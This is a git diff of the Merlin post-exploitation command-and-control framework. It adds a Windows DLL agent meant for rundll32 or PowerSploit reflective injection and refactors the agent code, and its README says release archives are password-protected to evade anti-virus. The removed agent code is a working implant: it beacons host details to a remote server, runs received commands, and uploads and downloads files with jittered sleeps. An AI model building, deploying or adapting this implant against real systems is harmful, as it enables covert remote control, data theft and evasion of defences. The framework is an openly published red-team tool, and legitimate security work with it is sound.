diff --git a/.gitignore b/.gitignore
index 7aacdb10..89603ab5 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,6 +1,11 @@
.DS_STORE
data/agents
-data/bin
+data/temp
data/db
data/log
data/x509
+data/bin/darwin
+data/bin/dll/merlin.dll
+data/bin/linux
+data/bin/windows
+.idea/
\ No newline at end of file
diff --git a/Makefile b/Makefile
index e857e977..b090cb32 100644
--- a/Makefile
+++ b/Makefile
@@ -1,17 +1,18 @@
# !!!MAKE SURE YOUR GOPATH ENVIRONMENT VARIABLE IS SET FIRST!!!
# Merlin Server & Agent version number
-VERSION=0.1.4
+VERSION=0.5.0
MSERVER=merlinServer
MAGENT=merlinAgent
PASSWORD=merlin
BUILD=$(shell git rev-parse HEAD)
-DIR=data/bin/v${VERSION}/
+DIR=data/temp/v${VERSION}/
+BIN=data/bin/
LDFLAGS=-ldflags "-s -X main.build=${BUILD}"
WINAGENTLDFLAGS=-ldflags "-s -X main.build=${BUILD} -H=windowsgui"
PACKAGE=7za a -p${PASSWORD} -mhe -mx=9
-F=README.MD LICENSE data/modules docs data/README.MD data/agents/README.MD data/db/ data/log/README.MD data/x509 data/src data/bin/README.MD
+F=README.MD LICENSE data/modules docs data/README.MD data/agents/README.MD data/db/ data/log/README.MD data/x509 data/src data/bin
F2=LICENSE
W=Windows-x64
L=Linux-x64
@@ -23,12 +24,12 @@ D=Darwin-x64
$(shell mkdir -p ${DIR})
# Change default to just make for the host OS and add MAKE ALL to do this
-default: server-windows agent-windows server-linux agent-linux server-darwin agent-darwin
+default: server-windows agent-windows server-linux agent-linux server-darwin agent-darwin agent-dll
all: default
# Compile Windows binaries
-windows: server-windows agent-windows
+windows: server-windows agent-windows agent-dll
# Compile Linux binaries
linux: server-linux agent-linux
@@ -48,7 +49,14 @@ server-windows:
# Compile Agent - Windows x64
agent-windows:
- export GOOS=windows;export GOARCH=amd64;go build ${WINAGENTLDFLAGS} -o ${DIR}/${MAGENT}-${W}.exe cmd/merlinagent/main.go
+ export GOOS=windows GOARCH=amd64;go build ${WINAGENTLDFLAGS} -o ${DIR}/${MAGENT}-${W}.exe cmd/merlinagent/main.go
+
+# Compile Agent - Windows x64 DLL
+agent-dll:
+ export GOOS=windows GOARCH=amd64 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1; \
+ go build -buildmode=c-archive -o ${DIR}/main.a cmd/merlinagentdll/main.go; \
+ cp data/bin/dll/merlin.c ${DIR}; \
+ x86_64-w64-mingw32-gcc -shared -pthread -o ${DIR}merlin.dll ${DIR}merlin.c ${DIR}main.a -lwinmm -lntdll -lws2_32
# Compile Server - Linux x64
server-linux:
@@ -76,33 +84,41 @@ agent-darwin:
# Make directory 'data' and then agents, db, log, x509; Copy src folder, README, and requirements
package-server-windows:
- ${PACKAGE} ${DIR}/${MSERVER}-${W}-v${VERSION}.7z ${F}
+ ${PACKAGE} ${DIR}${MSERVER}-${W}-v${VERSION}.7z ${F}
cd ${DIR};${PACKAGE} ${MSERVER}-${W}-v${VERSION}.7z ${MSERVER}-${W}.exe
package-server-linux:
- ${PACKAGE} ${DIR}/${MSERVER}-${L}-v${VERSION}.7z ${F}
+ ${PACKAGE} ${DIR}${MSERVER}-${L}-v${VERSION}.7z ${F}
cd ${DIR};${PACKAGE} ${MSERVER}-${L}-v${VERSION}.7z ${MSERVER}-${L}
package-server-darwin:
- ${PACKAGE} ${DIR}/${MSERVER}-${D}-v${VERSION}.7z ${F}
+ ${PACKAGE} ${DIR}${MSERVER}-${D}-v${VERSION}.7z ${F}
cd ${DIR};${PACKAGE} ${MSERVER}-${D}-v${VERSION}.7z ${MSERVER}-${D}.dmg
package-agent-windows:
- ${PACKAGE} ${DIR}/${MAGENT}-${W}-v${VERSION}.7z ${F2}
+ ${PACKAGE} ${DIR}${MAGENT}-${W}-v${VERSION}.7z ${F2}
cd ${DIR};${PACKAGE} ${MAGENT}-${W}-v${VERSION}.7z ${MAGENT}-${W}.exe
+ cp ${DIR}${MAGENT}-${W}.exe ${BIN}windows
package-agent-linux:
- ${PACKAGE} ${DIR}/${MAGENT}-${L}-v${VERSION}.7z ${F2}
+ ${PACKAGE} ${DIR}${MAGENT}-${L}-v${VERSION}.7z ${F2}
cd ${DIR};${PACKAGE} ${MAGENT}-${L}-v${VERSION}.7z ${MAGENT}-${L}
+ cp ${DIR}${MAGENT}-${L} ${BIN}linux
package-agent-darwin:
- ${PACKAGE} ${DIR}/${MAGENT}-${D}-v${VERSION}.7z ${F2}
+ ${PACKAGE} ${DIR}${MAGENT}-${D}-v${VERSION}.7z ${F2}
cd ${DIR};${PACKAGE} ${MAGENT}-${D}-v${VERSION}.7z ${MAGENT}-${D}.dmg
-
-package-all: package-server-windows package-server-linux package-server-darwin package-agent-windows package-agent-linux package-agent-darwin
+ cp ${DIR}${MAGENT}-${D}.dmg ${BIN}darwin
+
+package-agent-dll:
+ ${PACKAGE} ${DIR}${MAGENT}-DLL-v${VERSION}.7z ${F2}
+ cd ${DIR};${PACKAGE} ${MAGENT}-DLL-v${VERSION}.7z merlin.dll
+ cp ${DIR}merlin.dll ${BIN}dll
+
+package-all: package-agent-windows package-agent-dll package-agent-linux package-agent-darwin package-server-windows package-server-linux package-server-darwin
clean:
- $(RM) ${DIR}/merlin*
+ rm -rf ${DIR}*
#Build all files for release distribution
distro: clean all package-all
diff --git a/README.MD b/README.MD
index a799e34e..9eb208d9 100644
--- a/README.MD
+++ b/README.MD
@@ -3,8 +3,14 @@
[](https://github.com/Ne0nd0g/merlin/releases/latest)
[](https://github.com/Ne0nd0g/merlin/releases)
[](https://communityinviter.com/apps/merlin-go/merlin)
+[](https://ci.appveyor.com/project/Ne0nd0g/merlin)
# Merlin (BETA)
+
+
+ 
+
+
Merlin is a cross-platform post-exploitation HTTP/2 Command & Control
server and agent written in golang.
@@ -14,49 +20,28 @@ https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a
[](https://asciinema.org/a/166722&speed=2)
-## Getting Started
-The quickest and easiest way to start using Merlin is download the
-pre-compiled binary files found in the
-[Releases](https://github.com/Ne0nd0g/merlin/releases) section. The
-files are compressed into 7z archives and are password protected to
-prevent Anti-Virus inspection when downloading. The password is
-`merlin`.
-
-## Install GO
-In order to run Merlin from source, or to compile Merlin yourself, the
-Go programing language must be installed on the system. However, if you
- just want to run a pre-compiled version, you _do not_ need to install
- Go.
-
-Download and install GO: `https://golang.org/doc/install`
-
-## Download Merlin Server
-> It is recommended to download the compiled binaries from the
-[Releases](https://github.com/Ne0nd0g/merlin/releases) section
-
->Ensure your GOPATH environment variable is
-[set](https://github.com/golang/go/wiki/SettingGOPATH)
-
-Download Merlin with Go
-
-`go get github.com/Ne0nd0g/merlin`
+## Quick Start
+1. Download the latest version of Merlin Server from the [releases](https://github.com/Ne0nd0g/merlin/releases) section
+2. Extract the files with 7zip using the `x` function. **The password is: `merlin`**
+3. Start Merlin
+4. Deploy an agent. See [Agent Execution Quick Start Guide](https://github.com/Ne0nd0g/merlin/wiki/Agent-Execution-Quick-Start-Guide) for examples
+5. Pwn, Pivot, Profit
-If you want to use git instead of Go, merlin must be in your GOPATH i.e.
-`$GOPATH/src/github.com/Ne0nd0g/merlin`
-
-`cd $GOPATH/src/github.com/Ne0nd0g;git clone https://github.com/Ne0nd0g/merlin/`
-
-## Run Merlin Server
-Merlin Server can be run as a script or compiled and run as a standalone
- binary file.
-
-`go run cmd/merlinserver/main.go`
+```
+mkdir /opt/merlin;cd /opt/merlin
+wget https://github.com/Ne0nd0g/merlin/releases/download/v0.1.4/merlinServer-Linux-x64-v0.1.4.7z
+7z x merlinServer-Linux-x64-v0.1.4.7z
+sudo ./merlinServer-Linux-x64
+```
-## Compile Merlin Server
-Compile Merlin into an executable using Make
-`make server-windows` or `make server-linux` or `make server-darwin`
+## Misc.
+* To compile Merlin from source, view the [Building or Running from Source](https://github.com/Ne0nd0g/merlin/wiki/Building-or-Running-from-Source) wiki page
+* For a full list of available commands view the [Main Menu](https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Main-Menu), [Agent Menu](https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Agent-Menu), and [Module Menu](https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Module-Menu) wiki pages
+* View the [FAQ](https://github.com/Ne0nd0g/merlin/wiki/FAQ) wiki page for Frequently Asked Questions
+* View the [Blog Posts](https://github.com/Ne0nd0g/merlin/wiki/Blog-Posts) page for additional information
-### Merlin Server Usage
+## Merlin Server Command Line Flags
+`./merlinServer-Linux-x64 -h`
```
-debug
Enable debug output
@@ -71,98 +56,8 @@ Compile Merlin into an executable using Make
The x509 certificate key for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.key")
```
-## Merlin Server Commands
-Merlin is equipped with a tab completion system that can be used to see
-what commands are available at any given time. Hit double tab to get a
-list of all available commands.
-
- Name | Description
- --- | ---
- agent | Interact with agents or list agents
- banner | Print the Merlin banner
- exit | Exit and close the Merlin server
- help | Print help screen
- interact | Interact with an agent. Alias for Empire users
- quit | Exit and close the Merlin server
- sessions | List all agents session information. Alias for MSF users
- use | Use a function of Merlin (i.e modules)
- version | Print the Merlin server version
- ? | Print help screen
- `*` | Anything else will be execute on the host operating system
-
-## Agent Commands
-These are the commands to control an agent from the server. Tab
-completion can be used to select an Agent's identifier.
-
- Name | Description
- --- | ---
- cmd | Execute a command on the agent", "cmd ping -c 3 8.8.8.8"
- back | Return to the main menu
- download | Download a file from the agent
- exit | Exit and close the Merlin server
- help | Print help screen
- info | Display all information about the agent
- kill | Instruct the agent to die or quit
- main | Return to the main menu
- quit | Exit and close the Merlin server
- set | Set the value for one of the agent's options (maxretry, padding, skew, sleep)
- show | Show information about a module or its options (show options or show info)
- upload | Upload a file to the agent
- ? | Print help screen
- `*` | Anything else will be execute on the host operating system
-
-## Module Commands
-These are the commands to configure and execute a module. Tab completion
- can be used to select options and agents.
-
- Name | Description
- --- | ---
- back | Return to the main menu
- exit | Exit and close the Merlin server
- help | Print help screen
- main | Return to the main menu
- quit | Exit and close the Merlin server
- run | Run or execute the module
- set | Set the value for one of the module's options
- show | Show information about a module or its options (show options or show info)
- ? | Print help screen
- `*` | Anything else will be execute on the host operating system
-
-### TLS Certificates
-By default, Merlin will load server.crt and server.key from the
-`data/x509/` directory. You must generate your own certificate pair and
-place them in this directory.
-
-### Third Party Libraries
-The 3rd party libraries used with Merlin are kept in the _vendor_
-directory. This project will default to using the library files in that
-folder.
-
-## Running Merlin Agent
-The agent portion of Merlin should be run as a compiled binary file on
-a target host.
-
-> It is recommended to download the compiled binaries from the
-[Releases](https://github.com/Ne0nd0g/merlin/releases) section
-
->Ensure your GOPATH environment variable is set!
-
-Compile Merlin Agent into an executable
-
-`make agent-windows` or `make agent-linux` or `make agent-darwin`
-
-Merlin Agent can also be compiled without Make, using just go. To
-compile Merlin Agent with your hard coded Merlin Server's address, so it
- doesn't have to specified on the command line, include `-ldflags
- -X main.url=https://acme.com:443/`
-
->Example: `go build -o merlinagent.exe -ldflags
-"-X main.url=https://acme.com:443/" cmd/merlinagent/main.go`
-
-Run Merlin Agent as script: `go run cmd/merlinagent/main.go`
-
-### USAGE
-
+## Merlin Agent Command Line Flags
+`./merlinAgent-Linux-x64 -h`
```
-debug
Enable debug output
@@ -174,3 +69,8 @@ Run Merlin Agent as script: `go run cmd/merlinagent/main.go`
Full URL for agent to connect to (default "https://127.0.0.1:443")
-v Enable verbose output
```
+
+## TLS Certificates
+### **`WARNING: You should generate your own TLS certificates and replace the default certificates that ship with Merlin`**
+
+To facilitate ease of use, a TLS X.509 private and public certificate is distributed with Merlin. This allows a user to start using Merlin right away. However, this key is widely distributed and is considered public knowledge. You should generate your own certificates and replace the default certificates that ship with Merlin. The default location for the certificates is the `data/x509` directory. The `openssl` command can be used from a Linux system to generate a key pair.
diff --git a/cmd/merlinagent/main.go b/cmd/merlinagent/main.go
index 261d0786..b1302c93 100644
--- a/cmd/merlinagent/main.go
+++ b/cmd/merlinagent/main.go
@@ -19,671 +19,54 @@ package main
import (
// Standard
- "bytes"
- "crypto/tls"
- "encoding/base64"
- "encoding/json"
"flag"
"fmt"
- "io/ioutil"
- "math/rand"
- "net"
- "net/http"
"os"
- "os/user"
- "runtime"
- "strconv"
"time"
- "crypto/sha1"
- "io"
- "path/filepath"
// 3rd Party
"github.com/fatih/color"
- "github.com/satori/go.uuid"
- "golang.org/x/net/http2"
// Merlin
"github.com/Ne0nd0g/merlin/pkg"
"github.com/Ne0nd0g/merlin/pkg/agent"
- "github.com/Ne0nd0g/merlin/pkg/messages"
)
// GLOBAL VARIABLES
-
var debug = false
var verbose = false
-var mRun = true
-var hostUUID = uuid.NewV4()
var url = "https://127.0.0.1:443/"
-var h2Client = getH2WebClient()
-var waitSkew int64 = 30000
var waitTime = 30000 * time.Millisecond
-var agentShell = ""
-var paddingMax = 4096
-var src = rand.NewSource(time.Now().UnixNano())
var build = "nonRelease"
-var maxRetry = 7
-var failedCheckin = 0
-var initial = false
+var version = false
-// Constants
-const (
- letterIdxBits = 6 // 6 bits to represent a letter index
- letterIdxMask = 1<= maxRetry {
- os.Exit(1)
- }
- timeSkew := time.Duration(rand.Int63n(waitSkew)) * time.Millisecond
- totalWaitTime := waitTime + timeSkew
- if verbose {
- color.Yellow("[-]Sleeping for %s at %s", totalWaitTime.String(), time.Now())
- }
- time.Sleep(totalWaitTime)
- }
-}
-
-func initialCheckIn(host string, client *http.Client) bool {
- u, errU := user.Current()
- if errU != nil {
- if debug {
- color.Red("[!]There was an error getting the username")
- color.Red(errU.Error())
- }
- }
-
- h, errH := os.Hostname()
- if errH != nil {
- if debug {
- color.Red("[!]There was an error getting the hostname")
- color.Red(errH.Error())
- }
- }
-
- var ips []string
- interfaces, errI := net.Interfaces()
- if errI == nil {
- for _, iface := range interfaces {
- addrs, err := iface.Addrs()
- if err == nil {
- for _, addr := range addrs {
- ips = append(ips, addr.String())
- }
- }
- }
- } else {
- if debug {
- color.Red("[!]There was an error getting the the IP addresses")
- color.Red(errI.Error())
- }
- }
-
- if verbose {
- color.Green("[+]Host Information:")
- color.Green("\tAgent UUID: %s", hostUUID)
- color.Green("\tPlatform: %s", runtime.GOOS)
- color.Green("\tArchitecture: %s", runtime.GOARCH)
- color.Green("\tUser Name: %s", u.Username) //TODO A username like _svctestaccont causes error
- color.Green("\tUser GUID: %s", u.Gid)
- color.Green("\tHostname: %s", h)
- color.Green("\tPID: %d", os.Getpid())
- color.Green("\tIPs: %v", ips)
- }
-
- // JSON "initial" payload object
- i := messages.SysInfo{
- Platform: runtime.GOOS,
- Architecture: runtime.GOARCH,
- UserName: u.Username,
- UserGUID: u.Gid,
- HostName: h,
- Pid: os.Getpid(),
- Ips: ips,
- }
-
- payload, errP := json.Marshal(i)
-
- if errP != nil {
- if debug {
- color.Red("[!]There was an error marshaling the JSON object")
- color.Red(errP.Error())
- }
- }
-
- // JSON message to be sent to the server
- g := messages.Base{
- Version: 1.0,
- ID: hostUUID,
- Type: "InitialCheckIn", // Can set this to a constant in messages.go
- Payload: (*json.RawMessage)(&payload),
- Padding: randStringBytesMaskImprSrc(paddingMax),
- }
-
- b := new(bytes.Buffer)
- json.NewEncoder(b).Encode(g)
- if verbose {
- color.Yellow("[-]Connecting to web server at %s for initial check in.", host)
+ if version {
+ color.Blue(fmt.Sprintf("Merlin Agent Version: %s", merlin.Version))
+ color.Blue(fmt.Sprintf("Merlin Agent Build: %s", build))
+ os.Exit(0)
}
- resp, err := client.Post(host, "application/json; charset=utf-8", b)
- if err != nil {
- failedCheckin++
- if debug {
- color.Red("[!]There was an error with the HTTP client while performing a POST:")
- color.Red(err.Error())
- }
- if verbose {
- color.Yellow("[-]%d out of %d total failed checkins", failedCheckin, maxRetry)
- }
- return false
- }
- if debug {
- color.Red("[debug]HTTP Response:")
- color.Red("[debug]%s", resp)
- }
- if resp.StatusCode != 200 {
- failedCheckin++
- if verbose {
- color.Yellow("[-]%d out of %d total failed checkins", failedCheckin, maxRetry)
- }
- if debug {
- color.Red("[!]There was an error communicating with the server!")
- color.Red("[!]Received HTTP Status Code: %d", resp.StatusCode)
- }
- return false
- }
- failedCheckin = 0
- return true
+ a := agent.New(verbose, debug)
+ a.WaitTime = waitTime
+ a.Run(url, "h2")
}
-func statusCheckIn(host string, client *http.Client) {
- g := messages.Base{
- Version: 1.0,
- ID: hostUUID,
- Type: "StatusCheckIn",
- Padding: randStringBytesMaskImprSrc(paddingMax),
- }
-
- b := new(bytes.Buffer)
- json.NewEncoder(b).Encode(g)
-
- if verbose {
- color.Yellow("[-]Connecting to web server at %s for status check in.", host)
- }
-
- resp, err := client.Post(host, "application/json; charset=utf-8", b)
-
- if err != nil {
- if debug {
- color.Red("[!]There was an error with the HTTP Response:")
- color.Red(err.Error()) // On Mac I get "read: connection reset by peer" here but not on other platforms
- } // Only does this with a 10s Sleep
- failedCheckin++
- if verbose {
- color.Yellow("[-]%d out of %d total failed checkins", failedCheckin, maxRetry)
- }
- return
- }
-
- if debug {
- color.Red("%s", "[DEBUG]HTTP Response:")
- color.Red("[DEBUG]ContentLength: %d", resp.ContentLength)
- color.Red("[DEBUG]%s", resp)
- }
-
- if resp.StatusCode != 200 {
- failedCheckin++
- if verbose {
- color.Yellow("[-]%d out of %d total failed checkins", failedCheckin, maxRetry)
- }
- if debug {
- color.Red("[!]There was an error communicating with the server!")
- color.Red("[!]Received HTTP Status Code: %d", resp.StatusCode)
- }
- return
- }
-
- failedCheckin = 0
-
- if resp.ContentLength != 0 {
- var payload json.RawMessage
- j := messages.Base{
- Payload: &payload,
- }
- json.NewDecoder(resp.Body).Decode(&j)
-
- if debug {
- color.Red("[DEBUG]Agent ID: %s", j.ID)
- color.Red("[DEBUG]Message Type: %s", j.Type)
- color.Red("[DEBUG]Message Payload: %s", j.Payload)
- } else if verbose {
- color.Green("%s Message Type Received!", j.Type)
- }
- switch j.Type { // TODO add self destruct that will find the .exe current path and start a new process to delete it after initial sleep
- case "FileTransfer":
- var p messages.FileTransfer
- json.Unmarshal(payload, &p)
-
- g := messages.Base{
- Version: 1.0,
- ID: j.ID,
- Padding: randStringBytesMaskImprSrc(paddingMax),
- }
-
- // Agent will be downloading a file from the server
- if p.IsDownload {
- if verbose {color.Green("FileTransfer type: Download")}
- // Setup the message to submit the status of the upload
- c := messages.CmdResults{
- Job: p.Job,
- Stdout: "",
- Stderr: "",
- }
-
- d, _ := filepath.Split(p.FileLocation)
- _, directoryPathErr := os.Stat(d)
- if directoryPathErr != nil {
- if verbose {
- color.Red("[!]There was an error getting the FileInfo structure for the directory %s", d)
- color.Red(directoryPathErr.Error())
- }
- c.Stderr = fmt.Sprintf("[!]There was an error getting the FileInfo structure for the " +
- "remote directory %s:\r\n", p.FileLocation)
- c.Stderr += fmt.Sprintf(directoryPathErr.Error())
- }
- if c.Stderr == "" {
- if verbose {
- color.Yellow("[-]Writing file to %s", p.FileLocation)
- }
- downloadFile, downloadFileErr := base64.StdEncoding.DecodeString(p.FileBlob)
- if downloadFileErr != nil {
- c.Stderr = downloadFileErr.Error()
- if verbose {
- color.Red("[!]There was an error decoding the fileBlob")
- color.Red(downloadFileErr.Error())
- }
- } else {
- errF := ioutil.WriteFile(p.FileLocation, downloadFile, 0644)
- if errF != nil {
- c.Stderr = err.Error()
- if verbose {
- color.Red("[!]There was an error writing to : %s", p.FileLocation)
- color.Red(errF.Error())
- }
- } else {
- if verbose {
- color.Green("[+]Successfully download file to %s", p.FileLocation)
- }
- c.Stdout = fmt.Sprintf("Successfully uploaded file to %s on agent", p.FileLocation)
- }
- }
- }
-
- k, _ := json.Marshal(c)
- g.Type = "CmdResults"
- g.Payload = (*json.RawMessage)(&k)
- }
-
- // Agent will uploading a file to the server
- if !p.IsDownload {
- if verbose {color.Green("FileTransfer type: Upload")}
-
- fileData, fileDataErr := ioutil.ReadFile(p.FileLocation)
- if fileDataErr != nil {
- if verbose {
- color.Red("[!]There was an error reading %s", p.FileLocation)
- color.Red(fileDataErr.Error())
- }
- errMessage := fmt.Sprintf("[!]There was an error reading %s\r\n", p.FileLocation)
- errMessage += fileDataErr.Error()
- c := messages.CmdResults{
- Job: p.Job,
- Stderr: errMessage,
- }
- if verbose {
- color.Yellow("[-]Sending error message to sever.")
- }
- k, _ := json.Marshal(c)
- g.Type = "CmdResults"
- g.Payload = (*json.RawMessage)(&k)
- } else {
- fileHash := sha1.New()
- io.WriteString(fileHash, string(fileData))
-
- if verbose {
- color.Yellow("[-]Uploading file %s of size %d bytes and a SHA1 hash of %x to the server",
- p.FileLocation,
- len(fileData),
- fileHash.Sum(nil))
- }
- c := messages.FileTransfer{
- FileLocation: p.FileLocation,
- FileBlob: base64.StdEncoding.EncodeToString([]byte(fileData)),
- IsDownload: true,
- Job: p.Job,
- }
-
- k, _ := json.Marshal(c)
- g.Type = "FileTransfer"
- g.Payload = (*json.RawMessage)(&k)
-
- }
- }
- b2 := new(bytes.Buffer)
- json.NewEncoder(b2).Encode(g)
- resp2, respErr := client.Post(host, "application/json; charset=utf-8", b2)
- if respErr != nil {
- if verbose {
- color.Red("There was an error sending the FileTransfer message to the server")
- color.Red(respErr.Error())
- }
- }
- if resp2.StatusCode != 200 {
- color.Red("Message error from server. HTTP Status code: %d", resp2.StatusCode)
- }
-
- case "CmdPayload":
- var p messages.CmdPayload
- json.Unmarshal(payload, &p)
- stdout, stderr := executeCommand(p) // TODO this needs to be its own routine so the agent can continue to function while it is going
-
- c := messages.CmdResults{
- Job: p.Job,
- Stdout: stdout,
- Stderr: stderr,
- }
-
- k, _ := json.Marshal(c)
- g := messages.Base{
- Version: 1.0,
- ID: j.ID,
- Type: "CmdResults",
- Payload: (*json.RawMessage)(&k),
- Padding: randStringBytesMaskImprSrc(paddingMax),
- }
- b2 := new(bytes.Buffer)
- json.NewEncoder(b2).Encode(g)
- if verbose {
- color.Yellow("Sending response to server: %s", stdout)
- }
- resp2, _ := client.Post(host, "application/json; charset=utf-8", b2)
- if resp2.StatusCode != 200 {
- color.Red("Message error from server. HTTP Status code: %d", resp2.StatusCode)
- }
- case "ServerOk":
- if verbose {
- color.Yellow("[-]Received Server OK, doing nothing")
- }
- case "AgentControl":
- if verbose {
- color.Yellow("[-]Received Agent Control Message")
- }
- var p messages.AgentControl
- json.Unmarshal(payload, &p)
-
- switch p.Command {
- case "kill":
- if verbose {
- color.Yellow("[-]Received Agent Kill Message")
- }
- os.Exit(0)
- case "sleep":
- if verbose {
- color.Yellow("[-]Setting agent sleep time to %s milliseconds", p.Args)
- }
- t, err := time.ParseDuration(p.Args)
- if err != nil {
- if verbose {
- color.Red("[!]There was an error changing the agent waitTime")
- color.Red(err.Error())
- }
- }
- if t > 0 {
- waitTime = t
- agentInfo(host, client)
- } else {
- if verbose {
- color.Red("[!]The agent was provided with a time that was not greater than zero.")
- color.Red("The provided time was: %s", t.String())
- }
- }
- case "skew":
- t, err := strconv.ParseInt(p.Args, 10, 64)
- if err != nil {
- if verbose {
- color.Red("[!]There was an error changing the agent skew interval")
- }
- }
- if verbose {
- color.Yellow("[-]Setting agent skew interval to %d", t)
- }
- waitSkew = t
- agentInfo(host, client)
- case "padding":
- t, err := strconv.Atoi(p.Args)
- if err != nil {
- if verbose {
- color.Red("[!]There was an error changing the agent message padding size")
- }
- }
- if verbose {
- color.Yellow("[-]Setting agent message maximum padding size to %d", t)
- }
- paddingMax = t
- agentInfo(host, client)
- case "initialize":
- if verbose {
- color.Yellow("[-]Received agent re-initialize message")
- }
- initial = false
- case "maxretry":
-
- t, err := strconv.Atoi(p.Args)
- if err != nil {
- if verbose {
- color.Red("[!]There was an error changing the agent max retries")
- }
- }
- if verbose {
- color.Yellow("[-]Setting agent max retries to %d", t)
- }
- maxRetry = t
- agentInfo(host, client)
- default:
- if verbose {
- color.Red("[!}Unknown AgentControl message type received %s", p.Command)
- }
- }
- default:
- color.Red("Received unrecognized message type: %s", j.Type)
- }
- }
-}
-
-func getH2WebClient() *http.Client {
-
- // Setup TLS Configuration
- tr := &http2.Transport{
- TLSClientConfig: &tls.Config{
- MinVersion: tls.VersionTLS12,
- InsecureSkipVerify: true,
- PreferServerCipherSuites: false,
- CipherSuites: []uint16{
- tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
- tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
- },
- NextProtos: []string{"h2"},
- },
- DisableCompression: false,
- }
-
- // Setup HTTP Client Configuration
- client := &http.Client{
- Transport: tr,
- }
- return client
-}
-
-func executeCommand(j messages.CmdPayload) (stdout string, stderr string) {
- if debug {
- color.Red("[DEBUG]Received input parameter for executeCommand function: %s", j)
-
- } else if verbose {
- color.Green("Executing command %s %s %s", agentShell, j.Command, j.Args)
- }
-
- stdout, stderr = agent.ExecuteCommand(j.Command, j.Args)
-
- if verbose {
- if stderr != "" {
- color.Red("[!]There was an error executing the command: %s", j.Command)
- color.Green(stdout)
- color.Red("Error: %s", stderr)
-
- } else {
- color.Green("Command output:\r\n\r\n%s", stdout)
- }
- }
-
- return stdout, stderr // TODO return if the output was stdout or stderr and color stderr red on server
-}
func usage() {
- fmt.Fprintf(os.Stderr, "usage: go run agent -v -debug\n")
+ fmt.Printf("Merlin Agent\r\n")
flag.PrintDefaults()
- os.Exit(2)
-}
-
-func randStringBytesMaskImprSrc(n int) string {
- // http://stackoverflow.com/questions/22892120/how-to-generate-a-random-string-of-a-fixed-length-in-golang
- b := make([]byte, n)
- // A src.Int63() generates 63 random bits, enough for letterIdxMax characters!
- for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
- if remain == 0 {
- cache, remain = src.Int63(), letterIdxMax
- }
- if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
- b[i] = letterBytes[idx]
- i--
- }
- cache >>= letterIdxBits
- remain--
- }
-
- return string(b)
-}
-
-func agentInfo(host string, client *http.Client) {
- i := messages.AgentInfo{
- Version: merlin.Version,
- Build: build,
- WaitTime: waitTime.String(),
- PaddingMax: paddingMax,
- MaxRetry: maxRetry,
- FailedCheckin: failedCheckin,
- Skew: waitSkew,
- }
-
- payload, errP := json.Marshal(i)
-
- if errP != nil {
- if debug {
- color.Red("[!]There was an error marshaling the JSON object")
- color.Red(errP.Error())
- }
- }
-
- g := messages.Base{
- Version: 1.0,
- ID: hostUUID,
- Type: "AgentInfo",
- Payload: (*json.RawMessage)(&payload),
- Padding: randStringBytesMaskImprSrc(paddingMax),
- }
-
- b := new(bytes.Buffer)
- json.NewEncoder(b).Encode(g)
- if verbose {
- color.Yellow("[-]Connecting to web server at %s to update agent configuration information.", host)
- }
- resp, err := client.Post(host, "application/json; charset=utf-8", b)
-
- if err != nil {
- failedCheckin++
- if debug {
- color.Red("[!]There was an error with the HTTP client while performing a POST:")
- color.Red(err.Error())
- }
- if verbose {
- color.Yellow("[-]%d out of %d total failed checkins", failedCheckin, maxRetry)
- }
- return
- }
- if debug {
- color.Red("[DEBUG]HTTP Response:")
- color.Red("[DEBUG]%s", resp)
- }
- if resp.StatusCode != 200 {
- failedCheckin++
- if verbose {
- color.Yellow("[-]%d out of %d total failed checkins", failedCheckin, maxRetry)
- }
- if debug {
- color.Red("[!]There was an error communicating with the server!")
- color.Red("[!]Received HTTP Status Code: %d", resp.StatusCode)
- }
- return
- }
- failedCheckin = 0
+ os.Exit(0)
}
-/*
-
-1. POST System Enumeration Information and receive back JSON object w/ additional instructions
-2. Sleep
-3. Check in w/ Server
-4. Execute commands if provided by server
-5. Return results to server
-6. Sleep and Check In
-*/
-
-// TODO add cert stapling
-// TODO set message jitter
-// TODO get and return IP addresses with initial checkin
-// TODO Update Makefile to remove debug stacktrace for agents only. GOTRACEBACK=0 #https://dave.cheney.net/tag/gotraceback https://golang.org/pkg/runtime/debug/#SetTraceback
-// TODO Add standard function for printing messages like in the JavaScript agent. Make it a lib for agent and server?
-// TODO send cmdResult for agentcontrol messages
diff --git a/cmd/merlinagentdll/main.go b/cmd/merlinagentdll/main.go
new file mode 100644
index 00000000..6a888c15
--- /dev/null
+++ b/cmd/merlinagentdll/main.go
@@ -0,0 +1,81 @@
+// +build windows,cgo
+
+// Merlin is a post-exploitation command and control framework.
+// This file is part of Merlin.
+// Copyright (C) 2018 Russel Van Tuyl
+
+// Merlin is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// any later version.
+
+// Merlin is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with Merlin. If not, see .
+
+package main
+
+import (
+ "C"
+ "os"
+ "strings"
+
+ // Merlin
+ "github.com/Ne0nd0g/merlin/pkg/agent"
+)
+
+var URL = "https://127.0.0.1:443/"
+
+func main() {}
+
+// run is a private function called by exported functions to instantiate/execute the Agent
+func run(url string){
+ a := agent.New(false, false)
+ a.Run(url, "h2")
+}
+
+// EXPORTED FUNCTIONS
+
+//export Run
+// Run is the main function used to start the Merlin agent taking 1 argument for the Merlin server's address
+func Run(){
+ // If using rundll32 spot 0 is "rundll32", spot 1 is "merlin.dll,VoidFunc"
+ if len(os.Args) >= 3 {
+ if strings.HasPrefix(strings.ToLower(os.Args[0]),"rundll32"){
+ URL = os.Args[2]
+ }
+ }
+ run(URL)
+}
+
+//export VoidFunc
+// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
+func VoidFunc() {run(URL)}
+
+//export DllInstall
